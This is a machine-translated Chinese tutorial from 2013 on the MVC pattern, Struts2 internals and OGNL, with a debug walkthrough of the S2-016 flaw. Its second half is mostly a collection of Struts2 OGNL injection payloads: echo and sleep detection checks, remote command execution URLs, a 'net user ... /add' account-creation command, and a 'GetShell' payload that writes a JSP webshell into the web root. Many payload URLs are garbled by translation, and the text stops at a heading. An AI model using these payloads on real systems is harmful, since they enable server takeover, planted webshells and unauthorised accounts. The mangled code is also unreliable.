Principal · 2013/07/25 13:31

Note: This section is mainly to dispel the misconception that many people think of JSP as JavaWeb as a whole, and to learn about MVC and its framework ideas. MVC is used to organize code with a separate method of business logic and data display. No matter in Java Struts2, SpringMVC or PHP ThinkPHP, high-risk arbitrary code execution has been exposed. This section focuses on letting more people know MVC and MVC framework security. From shallow to deep as far as possible to take care of friends without Java foundation. If you don’t know what JavaWeb is and what its features are, what’s the point of using Struts to brush more ranks? Better to make a cup of tea, read a good book, not impetuous, masturbating all day.

0x00, First knowledge of MVC


There are many problems in traditional development, such as disordered structure, poor usability, high coupling degree and poor maintainability. In order to solve these problems, hierarchical thought and MVC framework appeared. MVC is an abbreviation of three words: Model, View and Controller. The purpose of MVC pattern is to realize the functional division of Web system.

The Model layer implements the business logic in the system, usually in Javabeans or EJBs.

The View* layer is used to interact with the user and is usually implemented using JSP (as mentioned earlier, a JavaWeb project can have no JSP files and even filter all JSP requests without using JSP as the presentation layer, JEECMS is the most typical case).

The Controller layer acts as a bridge between the Model and View, dispatching user requests and selecting the appropriate View for display, as well as interpreting user inputs and mapping them to actions that the Model layer can perform.

Model1 and Model2:

Model1 mainly uses JSP to handle requests from clients, and all business logic is completed in one or more JSP pages, which is the most unscientific. For example: http://localhost/show_user.jsp? Id = 2. JSP page to get the parameter ID =2 will be taken to the database to query the database id is equal to 2 user data, because this way of implementation although simple, but the maintenance cost is very high. JSP pages and logical business are tied together and highly coupled. The goal of software development is to decouple and reduce dependencies between programs. SQL injection and other attacks are common in model1. Because it can be very troublesome to deal with all kinds of business frequently in the page, let alone focus on security. Typical Model1 code is the SQL injected JSP page used for the demo earlier.

The flow of Model1:

Model 2 represents a framework based on the MVC pattern, JSP+Servlet. Model2 already has a certain layering idea, that is, JSPS only do the simple presentation layer, and servlets do the back-end business logic processing. This separates the view from the business logic. For example: http://localhost/ShowUserServlet? Id = 2. That is, the request is handed to a Servlet for processing, and when the Servlet is done, it is handed to a JSP or HTML for page presentation. JSP pages don’t have to worry about how you pass in id=2, but how to display the user id=2 information (mostly with EL expressions or JSP scripts do page display). The advantage of separating the view from the logic is that the business logic can be handled more clearly, which reduces the probability of security problems.

Problems with Mvc framework:

When Model1 and Model2 are difficult to meet the development requirements, the universal MVC framework is also generated. The model view controller, the program structure of each responsibility is clear, and the control well of business security is orderly. This is the benefit that MVC framework brings to us. Some things because of its more and more powerful, and derived from more and more security problems, a typical due to the improper handling of security problems caused numerous Internet sites were attacked by black MVC framework is Struts2. It’s hard not to cut yourself when the artifact is too sharp. Among Struts and Spring, one of the favorites to exploit is tags and OGNL security.

Spring Mvc:

The Spring framework provides a full-featured MVC module for building Web applications. With Spring’s pluggable MVC architecture, you can choose whether to use the built-in Spring Web framework or a Web framework like Struts. The Spring framework is highly configurable through policy interfaces and includes multiple view technologies, such as JavaServer Pages (JSP) technology, Velocity, Tiles, iText and POI, and Freemarker. The Spring MVC framework does not know the view to use, so it does not force you to use only JSP technology. Spring MVC separates the roles of controller, model object, dispatcher, and handler object, which makes them easier to customize.

Struts2:

Struts is an open source project of The Apache Foundation Jakarta project team, which adopts MVC mode and can help us improve the efficiency of web project development. Struts mainly uses servlet and JSP technology to achieve, the servlet, JSP, tag library and other technologies integrated into the whole framework. Struts2 is more complex than the internal implementation of Struts1, but simpler to use and more powerful.

Struts 2 history version download address: archive.apache.org/dist/struts…

The official website is struts.apache.org/

Common MVC comparisons:

Order by performance: 1, Jsp+ Servlet >2, Struts1 >2, Spring MVC >3, Struts2 +freemarker>>4, Struts2, OGNL, value stack.

In terms of development efficiency, it is basically the opposite. It’s worth emphasizing that Spring MVC development is about as efficient as Struts2.

Struts2’s poor performance is due to OGNL and value stacks. So if your system has high concurrency, use Freemaker instead of OGNL and value stacks. This can result in a considerable improvement in performance.

And every Struts2 remote code execution is due to OGNL.

Currently, the most popular MVC frameworks in JavaWeb are Spring MVC and Struts. Compared to Struts2, SpringMVC is lighter, simpler, and more secure. However, since SpringMVC is not as old as Struts, it is very difficult for SpringMVC to overturn Struts1 and 2 overnight.

JavaWeb servlets and Filters:

JavaWeb and PHP are fundamentally different implementations, and PHP is an interpreted language. Instead of initializing apps through a bunch of configurations when the server starts up, load the configuration after any request arrives to complete the request from the client. One big thing ASP and PHP have in common is that they don’t need to be precompiled into java-like bytecode files; all class methods are stored in *.php files. In Java, the configuration can be loaded into the Servlet container at project startup. A Servlet or Filter configured in web.xml can easily block and Filter any postfix requests from clients. Servlets were mentioned in Series 2, so let’s revisit them here.

The Servlet configuration:
<servlet>
    <servlet-name>LoginServlet</servlet-name>
<servlet-class>org.javaweb.servlet.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/servlet/LoginServlet.action</url-pattern>
</servlet-mapping>
Copy the code
The Filter configuration:
<filter>
    <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
Copy the code

Filters are perfect for permission control in JavaWeb, eliminating the need to do session authentication on every page. If the urL-pattern is /admin/*, all requests with admin in the URI must be filtered by the following Filter:

Servlets, like filters, can block arbitrary requests from all urls. The URl-pattern can be any URL or a wildcard such as *. Action. Now that you can intercept any request it would be very easy to purify parameters and requests. Servlet – the name with a servlet named LoginServlet it corresponds to the servlet class at a org. Javaweb.. Servlet LoginServlet. Java. How do you implement generic malicious requests (generic SQL injection, XSS, CSRF, Struts2, etc.) in Java? Unauthorized access to sensitive pages? (Traditional dynamic script implementation is very cumbersome to add session authentication on each page, with the filter filter, it is very easy to restrict directory permissions).

Filter is a typical configuration of struts 2 posted above, StrutsPrepareAndExecuteFilter filter / *, i.e. any URL request, that is, the first request struts 2 entrance. Any Filter must implement the Javax.servlet. Filter Filter interface, namely init, doFilter, destroy, and so on.

public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter ( ServletRequest request, ServletResponse response, FilterChain chain ) throws IOException, ServletException;
public void destroy();
Copy the code

TIPS:

To see what implementations an interface has in Eclipse, select a method shortcut Ctrl+ T to list all implementations of the current interface. For example, we can easily see this implement the Filter interface under the current project has the following interface, including SecFilter is my own, StrutsPrepareAndExecuteFilter struts 2 is done, this implementation is used for struts 2 start and initialization, Here it is:

0x01 Struts Overview


Struts1, Struts2, Webwork:

Struts1 was the first widely popular MVC framework, and it was widely used. However, with the development of technology, especially JSF, ajax and other technologies, Struts1 is a bit out of step with The Times, as well as some of his own design flaws, held him back.

At the same time, a number of new MVC frameworks are making big strides, especially Webwork. Webwork is developed by the OpenSymphony organization. Webwork has achieved more beautiful design, more powerful and easy-to-use functions.

Later, the Struts and Webwork communities decided to merge the two projects to complete Struts2. In fact, Struts2 is built around Webwork and is more similar to the Webwork framework than struts1.

STRUTS2 framework internal process:

1. The Tomcat server from which the client sends requests. The server accepts and passes in an HttpServletRequest. 2. Request passes through a series of filters (ActionContextCleanUp, SimeMesh, etc.) 3. FilterDispatcher is invoked. The FilterDispatcher calls ActionMapper to determine if the request should call an Action. ActionMapper calls an ActionFilterDispatcher to pass the request to ActionProxy 5. ActionProxy uses Configuration Manager to view struts. XML. ActionProxy creates an ActionInvocation object. ActionProxy calls back the Execute method of Action when the Action is executed. ActionInvocation Find the result based on the returned string. The Result content is then returned to the server via HttpServletResponse.Copy the code

Internal processes of the SpringMVC framework:

1. The user sends a request to the server. Url: user.do 2. The server receives the request. DispatchServlet can handle it. DispatchServlet is called. 3. Inside DispatchServlet, check whether the URL has the corresponding Controller through HandleMapping. If so, the Controller is called. 4.Controller starts executing. 5. If the Controller returns a string after execution, the ViewResolver converts the string into the corresponding view object. If you return a ModelAndView object, that object itself contains the view object information. 6.DispatchServlet takes the data from the view object and outputs it to the server. 7. The server outputs data to the client.Copy the code

I wonder if I have a clearer understanding of the MVC architecture after seeing Struts2 and SpringMVC initialization.

Struts2 request process analysis:

The Struts2 Filter is automatically initialized when the web. XML configuration is loaded. Then all the request to the Struts org. The first apache. Struts 2. Dispatcher. Ng. Filter. StrutsPrepareAndExecuteFilter. Java classes to do filtering processing. 3. This class is simply a plain Filter method initialized by calling the Struts configuration. 4, initialization is completed once the action request after StrutsPrepareAndExecuteFilter doFilter filtering. 5. ActionMapping in doFilter. 6, ExecuteOperationsCopy the code

Source code, configuration and access screenshots:

Struts2 ActionContext, ValueStack, Ognl


Before learning Struts command execution, you must know what OGNL, ActionContext and ValueStack are. The concept of containers has been emphasized many times before. This place dare not go further, or it will never come back. Tomcat is a big box with a lot of small boxes and a lot of small boxes. Struts2 is actually packing a lot of things. When you need to pick up a small item, you can just grab it from the box that Struts2 has packed.

ActionContext objects:

Struts1 actions must depend on the web container, and its extecute methods automatically get HttpServletRequest, HttpServletResponse objects to interact with the web container.

Struts2 actions don’t depend on the Web container and are just plain Java classes in their own right. However, in Web development, we often need to obtain request, session, application and other objects. In this case, you can use ActionContext to handle it.

ActionContext, as its name suggests, is the context in which the Action is executed. It has an internal map property, which holds the objects that the Action needs to execute.

A new ActionContext object is created before each Action is executed, HttpServletRequest, HttpServletResponse, or ServletContext objects. Instead, the values inside these three objects are repackaged as map objects. This encapsulation allows us to capture the values we need without having to deal directly with the Web container, achieving complete decoupling.

Test code:

public class TestActionContextAction extends ActionSupport{ private String uname; public String execute() throws Exception { ActionContext ac = ActionContext.getContext(); System.out.println(ac); // Define a breakpoint here return this.success; } //get and set methods omitted! }Copy the code

We set breakpoints, debug in, and trace the value of the AC object. The table attribute contains a map attribute, which contains multiple map attributes:

Request, Session, Application, Action, attr, Parameters, etc.

At the same time, we trace the request attribute into a table and find another attribute named struts.valueStack. As follows:

OgnlValueStack is simply a List. It also contains a reference to an Action object. You can use it to get a reference to the Action object.

The following figure illustrates the relationships of several objects:

1. ActionContext, Action itself, and HttpServletRequest object have no relationship. But in order to be able to use EL expressions, JSTL manipulates their properties directly. There is an interceptor that puts properties from ActionContext, Action into the request using a method like Request.setAttribute () (pre-Webwork2.1). ${requestScope. Uname} can also access properties in ActionContext and Action.

Note: after struts2, the decorator pattern is used to achieve the above functionality.

An instance of an Action is always placed in the Value stack. Because the Action is in the stack, and the stack is root, access to properties in the Action can omit the # tag.

Get Web container information:

Above I have to get the request and response objects in the container when I GETSHELL or output the echo. In Struts2 you can get session, Request, application by ActionContext, They are not really HttpServletRequest, HttpServletResponse, or ServletContext objects, but instead repackage the values in these three objects as map objects. The Struts framework uses them to interact with real Web container objects.

GetSession: ac.getsession ().put("s", "ss"); Get request: Map m = ac.get("request"); GetApplication: ac.getapplication ();Copy the code

Get HttpServletRequest, HttpServletResponse, ServletContext:

Sometimes we need real HttpServletRequest, HttpServletResponse, ServletContext objects. We can use the ServletActionContext class to get the related object as follows:

HttpServletRequest req = ServletActionContext.*getRequest*();
ServletActionContext.*getRequest*().getSession();
ServletActionContext.*getServletContext*();
Copy the code

Struts2 OGNL:

OGNL is the Object-Graph Navigation Language. OGNL is also the default expression Language of Struts2. Every Struts2 command execution vulnerability was executed through OGNL. Before writing this document, the clouds drops enough reference Ognl article drops.wooyun.org/papers/340 is available. I’ll just mention it briefly.

1, can access the object's ordinary methods 2, can access the class's static properties and static methods 3, powerful operation collection of class objects 4, support assignment operation and expression concatenation 5, access OGNL context and ActionContextCopy the code

Ognl is not specific to Struts. We can also use Ognl in ordinary classes, such as using Ognl to access properties in ordinary objects:

As listed above, Ognl can call static methods, such as expressions that use expressions to call runtime execution commands:

@[email protected]().exec('net user selina 123 /add')
Copy the code

Statically invoking the command line in Java:

java.lang.Runtime.*getRuntime*().exec("net user selina 123 /add");
Copy the code

0x03 Struts Vulnerability


What the hell is Struts2? Bugs are popping like a menstrual disorder. As mentioned earlier, since Struts2 uses OGNL expressions by default, OGNL expressions have the ability to access both normal and static methods of objects. Developers ignore security issues and use Ognl expressions in large numbers, which is the root cause of the endless Struts2 bugs. The above DEMO should give you a pretty good idea of Ognl execution, but every Struts2 command execution is followed by one or more Ognl expressions that can be bypassed or constructed directly.

Struts2 vulnerability cases:

Struts2 is released after every release because of either a security issue or a BUG fix. There have been several major releases.

X / 2013-02-02 11:22-2.1. x/ 2013-03-02 14:52-2.2. x/ 2013-02-02 16:00-2.3. x/ The 30-2013-06-24

Countless small version released, the small version of the download address: archive.apache.org/dist/struts…

Security issues exposed by Struts:

1, the Remote code exploits on the form validation error: struts.apache.org/release/2.3…

2, Cross site scripting (XSS) vulnerability onandtags: struts.apache.org/release/2.3…

3, XWork ParameterInterceptors bypass allows OGNL statement execution: struts.apache.org/release/2.3…

4, the Directory traversal vulnerability while serving static content: struts.apache.org/release/2.3…

5, XWork ParameterInterceptors bypass allows remote command execution: struts.apache.org/release/2.3…

6, Multiple Cross – Site Scripting (XSS) in XWork generated the error pages: struts.apache.org/release/2.3…

7, the User input is evaluated as an OGNL expression when there ‘s a conversion error: struts.apache.org/release/2.3…

8, Multiple critical vulnerabilities in struts 2: struts.apache.org/release/2.3… 9, ParameterInterceptor vulnerability allows remote command execution struts.apache.org/release/2.3…

Struts 2 token mechanism for CSRF protection, Token check may be bypassed by misusing known session attributes: struts.apache.org/release/2.3…

11, Long Request parameter names might significantly promote the effectiveness of DOS attacks: Struts.apache.org/release/2.3…

12, Showcase app vulnerability allows remote command execution: struts.apache.org/release/2.3…

13, A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution: Struts.apache.org/release/2.3…

A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution. The session access and manipulation and XSS attacks: struts.apache.org/release/2.3…

A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote The command execution. : struts.apache.org/release/2.3…

A vulnerability introduced by manipulating parameters prefixed with “action:”/”redirect:”/”redirectAction:” allows The remote command execution: struts.apache.org/release/2.3…

18: A vulnerability introduced by manipulating parameters prefixed with “redirect:”/”redirectAction:” allows for open Redirects: struts.apache.org/release/2.3…

Struts2 exploit details:

S2-001-S2-004:www.inbreak.net/archives/16…

S2-005:www.venustech.com.cn/NewsInfo/12…

S2-006:www.venustech.com.cn/NewsInfo/12…

S2-007:www.inbreak.net/archives/36…

S2-008:www.exploit-db.com/exploits/18…

www.inbreak.net/archives/48…

S2-009:www.venustech.com.cn/NewsInfo/12…

S2-010:xforce.iss.net/xforce/xfdb…

S2-011-S2-015:blog.csdn.net/wangyi_lin/… www.inbreak.net/archives/48… www.inbreak.net/archives/50…

S2-016-S2-017:www.iteye.com/news/28053#…

To make fun of:

I’ve never seen so many flaws in a framework that has so many adherents and so little effort to fix it officially. Universities and many training institutions regard SSH (Spring, Struts2, Hibernate) as the myth that JavaEE is indispensable. The SSH architecture is ubiquitous in government and large enterprise projects that use JavaWeb. Just start looking for a job to go out of the interview basically ask: can SSH? We only recruit undergraduate graduates who are proficient in SSH framework. “? What? Struts 2 will not? What? Not a bachelor’s degree? Unfortunately, our company would prefer to work with someone who has studied SSH code and is proficient in Struts MVC, Spring AOP DI OIC and Hibernate. Go home and wait for notice…” . What a standard way to end a failed job interview, I just want to say: I bought a watch last year!

Under the “authority” and “tyranny” of Struts2, there is finally a framework that is lighter, more sophisticated and more secure than Struts2, which gradually threatens the godlike status of Struts, It’s SpringMvc.

Struts 2 the Debug:

Bug analysis of Struts2 has been all over the web, because I’ve been doing SpringMvc development and I don’t care much about Struts2. But with that in mind, it’s not hard to analyze the logic of Struts2. This time, simply follow the command s2-016 to execute.

The Debug Tips:
F5: enter method F6: single step F7: jump out of the current method and continue. F8: Jumps to the next breakpoint. Others: F3: Enter the method, Ctrl+ Alt + H to see where the current method is called.Copy the code

Struts2 Filter: Struts2 request Processing analysis

When the Struts2 project starts, Ognl will be called for initialization. Start all requests of the Struts 2 will first after a Struts 2 StrutsPrepareAndExecuteFilter filter (in the early days of the default in the Struts is FilterDispatcher). And start processing specific requests from its doFilter, complete Action mapping and request distribution.

You need Struts2 OGNL, Xwork and Struts code before debugging. The source code for xwork and Struts2 can be found under Struts2\struts-2.3.14\ SRC.

The source code for Ognl can be downloaded directly from the OpenSymphony website. You need to install the SVN client checkout source code.

Code.google.com/p/opensymph…

Associated after source code, can on the web. The XML found inside StrutsPrepareAndExecuteFilter which lines of configuration, Ctrl + left key points directly in (or directly on the StrutsPrepareAndExecuteFilter press F3 fast to enter into this class). Under the 77 line standard double-click StrutsPrepareAndExecuteFilter can breakpoints.

As for how to associate the source code in Eclipse, there is no more to say, follow the Eclipse prompt to find the source code path on the line, really do not understand baidu. A normal Action request usually does not return an error. Such as: http://localhost/StrutsDemo/test.action request processing. In such a normal request the Ognl expression looks for location. After injecting the Ognl expression:

The first few lines of doFilter do the initialization, and line 84 starts mapping the action. The latest version, S2-016, causes OGNL injection to execute arbitrary code because of mishandling action mapping. F5 Enter the findActionMapping method in PrepareOperations. FindActionMapping calls to fetch a container and then map specific actions. Through the Dispatcher object (org. Apache. Struts 2. The Dispatcher) to get the Container. Through ActionMapper implementation class: org. Apache. Struts 2. Dispatcher. Mapper. DefaultActionMapper call getMapping method, to obtain the mapping.

Line 311 handleSpecialParameters(Request, Mapping); F5 goes inside the method execution, which is in the DefaultActionMapper class.

Get the malicious Ognl code we submitted from the request:

The handleSpecialParameters method calls parameterAction.execute(key, Mapping). :

F5 Go to parameterAction.execute:

After mapping, we can see that Lication has injected our Ognl expression:

When the mapping is completed, DefaultActionMapper will call the mapping to resolve the ActionName.

return parseActionName(mapping)
Copy the code

The name is test. Because we’re only accessing test.action. But you can use test in Struts2! Show. action calls the show method in test.

parseNameAndNamespace(uri, mapping, configManager);
handleSpecialParameters(request, mapping);
return parseActionName(mapping);
Copy the code

Return to the findActionMapping method after parseActionName is executed. Then put our mapping in the request scope, and the key for mapping is struts.actionMapping. This completes ActionMapping. So StrutsPrepareAndExecuteFilter doFilter filters of a class of 84 lines of ActionMapping is completed.

Is not to say that the action mapping was performed after the completion of Ognl expressions, but in StrutsPrepareAndExecuteFilter class line 91. Execute executeAction (request, response, mapping); We will execute our Ognl only after the execution is complete.

ExecuteAction in org, apache struts 2. Dispatcher. Ng ExecuteOperations classes. This method is as follows:

/**
     * Executes an action
     * @throws ServletException
     */
    public void executeAction(HttpServletRequest request, HttpServletResponse response, ActionMapping mapping) throws ServletException {
        dispatcher.serviceAction(request, response, servletContext, mapping);
    }
Copy the code

Dispatcher should be familiar with, because just now has been in the Dispatcher around a circle back. The serviceAction method of the Dispatcher is now called.

Public void serviceAction(executeAction is too long) :

Excute at excuteorg, apache struts 2. Dispatcher. ServletRedirectResult class, specific methods are as follows:

public void execute(ActionInvocation invocation) throws Exception { if (anchor ! = null) { anchor = conditionalParse(anchor, invocation); } super.execute(invocation); } super.execute(org.apache.struts2.dispatcher.StrutsResultSupport)Copy the code

Execute the execute method of its parent class. The above anchor is empty.

TranslateVariables (when translating variables into Ognl) :

Object result = parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
    return conv.convertValue(stack.getContext(), result, asType);
Copy the code

Final execution:

[/ok] :

Decrypt Struts2’s “mysterious” POC:

After s2-016 comes out, Struts2 POC is useless, because S2-016 is powerful enough to make Baidu, Penguin, jingdong cry. Pick a few simple representative ones. After looking at so many concepts in a row, let’s take a look at the common POC of Struts2.

POC(quick check to see if it exists (some s2 versions cannot be output), if [/ OK] is displayed, it exists) :

POC1:

http://127.0.0.1/Struts2/test.action? (' \ 43 _memberaccess allowStaticMethodAccess ') = true (a) & (b) (43 context (' \ [\ 'xwork. Metho dAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))
Copy the code

POC2 (conversion vulnerability requires POC to be added to integer parameters) :

http://127.0.0.1/Struts2/test.action?id= '% 2 b (% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true, @[email protected]().getWriter().println(%22[/ok]%22))%2b'
Copy the code

POC3: POC3: POC3: POC3: POC3: POC3: POC3: POC3: POC3: POC3

http://127.0.0.1/Struts2/hello.action?foo= (% 23 context [% 22 xwork. MethodAccessor. DenyMethodExecution % 22] = % 20 new % 20 Java. The lang .Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),@[email protected]().getWriter().println(%22[/ok]%22))&z[(foo)('meh')]=true
Copy the code

POC4:

http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath= (% 23 context % 5 b % 22 xwork. The MethodAccessor. DenyMethodExecutio n%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache .struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(c lass.classLoader.jarPath)('aa')]Copy the code

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true,[email protected]@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}
Copy the code

POC6:

http://127.0.0.1/Struts2/$%7B%23_memberAccess [% 22 allowstaticmethodaccess % 22] = true,[email protected]@getResponse().getWriter(),%23resp.println(%22[ok]%22),%23resp.close()%7D.action
Copy the code

POC7:

http://localhost/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRes ponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}Copy the code

@[email Protected]().getwriter ().println(%22[/ok]%22) is a static call to ServletActionContext, which we’ve already covered. The ServletActionContext gets the actual HttpServletReq Uest, HttpServletResponse, ServletContext forgot to look back. Once you get an HttpServletResponse response object, you can call the getWriter method (which returns PrintWriter) to make the Servlet container print [/ OK], and all the other POCs do the same: Take HttpServletResponse and print [/ OK]. AllowStaticMethodAccess defaults to false in Struts2, meaning that static method calls are not allowed by default.

Accurately determine whether there is (delayed judgment) :

POC1:

http://127.0.0.1/Struts2/test.action? (' \ 43 _memberaccess allowStaticMethodAccess ') = true (a) & (b) (43 context (' \ [\ 'xwork. Metho dAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(d)(([email protected]@sleep(5000)')(d)) 
Copy the code

POC2:

http://127.0.0.1/Struts2/test.action?id= '% 2 b (% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true, @[email protected](5000))%2b' 
Copy the code

POC3:

http://127.0.0.1/Struts2/hello.action?foo=%28%23context [% 22 xwork. MethodAccessor. DenyMethodExecution % 22] % 3 d + + Java. The new lang .Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@[email protected](5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true 
Copy the code

POC4:

http://127.0.0.1/Struts2/hello.action?class.classLoader.jarPath= (% 23 context % 5 b % 22 xwork. The MethodAccessor. DenyMethodExecutio n%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c[email protected](5000))(aa)&x[(class.classLoader.jarPath)('aa')] 
Copy the code

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true, @[email protected](5000)} 
Copy the code

POC6:

http://127.0.0.1/Struts2/${% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true, @[email protected](5000)}.action
Copy the code

Many of the tools used in the past let threads sleep for a period of time and then calculate the time difference to determine whether a bug exists. This is more reliable than the previous echo, but the downside is that it is slower. The way to implement this POC is also very simple: simply call java.lang.thread. sleep(5000) statically. The same is true for command execution.

Command execution:

About the output: webStr\75new\40byte[100] change to the appropriate length.

POC1:

http://127.0.0.1/Struts2/test.action? (' \ 43 _memberaccess allowStaticMethodAccess ') = true (a) & (b) (43 context (' \ [\ 'xwork. Metho dAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43req\[email protected]@getRequest()')(d))&(h)(('\43webRootzpro\[email protected]@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43w ebRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[100]')(d))&(i1)(('\43webRootzproreader.readFully(\43we bStr)')(d))&(i111)('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cm d=cmd%20/c%20ipconfigCopy the code

POC2:

http://127.0.0.1/Struts2/test.action?id= '% 2 b (% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true,[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream() ),%23buffer=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/c%20ipconfig 
Copy the code

POC3:

http://127.0.0.1/freecms/login_login.do?user.loginname= (% 23 context [% 22 xwork. MethodAccessor. DenyMethodExecution % 22] = % 20 ne w%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream() ),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cmd%20/c%20set
Copy the code

POC4:

http://127.0.0.1/Struts2/test.action?class.classLoader.jarPath= (% 23 context % 5 b % 22 xwork. The MethodAccessor. DenyMethodExecution %22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,[email protected]@getRequest(),%23a=%40java.lang.Runtime%40getRuntime().exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+ja va.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5b50000%5d,%23c.read(%23d),%23s3cur1ty =%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.close())(a a)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-anCopy the code

POC5:

http://127.0.0.1/Struts2/hello.action?a=1${% 23 _memberaccess [% 22 allowstaticmethodaccess % 22] = true,[email protected]@getRequest(),[email protected]@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream() ),%23buffer=new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer),[email protected]@getResponse(),%23response.getWriter().println(%23result),%23response.close()}&cmd=cmd%20/c%20set
Copy the code

POC6:

http://localhost/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.g etWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}Copy the code

In fact, the way to execute a command in Java is the same, simple static call

java.lang.Runtime.getRuntime().exec("net user selina 123 /add");
Copy the code

You can execute any command you want. Exec returns the type java.lang.process after execution. Process is an abstract class, and final Class ProcessImpl extends Process is a concrete implementation of Process. The Process returned after the command is executed can pass

public OutputStream getOutputStream()
public InputStream getInputStream()
Copy the code

Input the output stream directly, after getting the InputStream directly read to get the command execution results. In Ognl, it is not enough to read the stream in the normal way. Instead, it is read by DataInputStream readFully or BufferedReader or byte. Because it is possible to read half of the Chinese characters, so there may be garbled problem, customize each time to read the size can be. /c is not required in the POC, but can be added by executing commands such as dir.

Process java.lang.Runtime.exec(String command) throws IOException
Copy the code

GetShell POC:

poc1:

http://127.0.0.1/Struts2/test.action? (' \ u0023_memberAccess [\ 'allowStaticMethodAccess \]') = true (meh) & (aaa) ((' \ u0023contex t[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&( i1)(('\43req\[email protected]@getRequest()')(d))&(i12)(('\43xman\[email protected]@getResponse()')(d))&(i13)(('\43xman.getWriter().println(\43req.getServletContext().getRealPath(%22\u005c%22))')(d))&(i2 )(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@[email protected]).append(%22css3.jsp%22).toString())')(d))&(i3)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43 fos.close()')(d))&p=%3c%25if(request.getParameter(%22f%22)! %3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request .getParameter(%22t%22).getBytes())%3b%25%3eCopy the code

POC2 (conversion vulnerability requires POC to be added to integer parameters) :

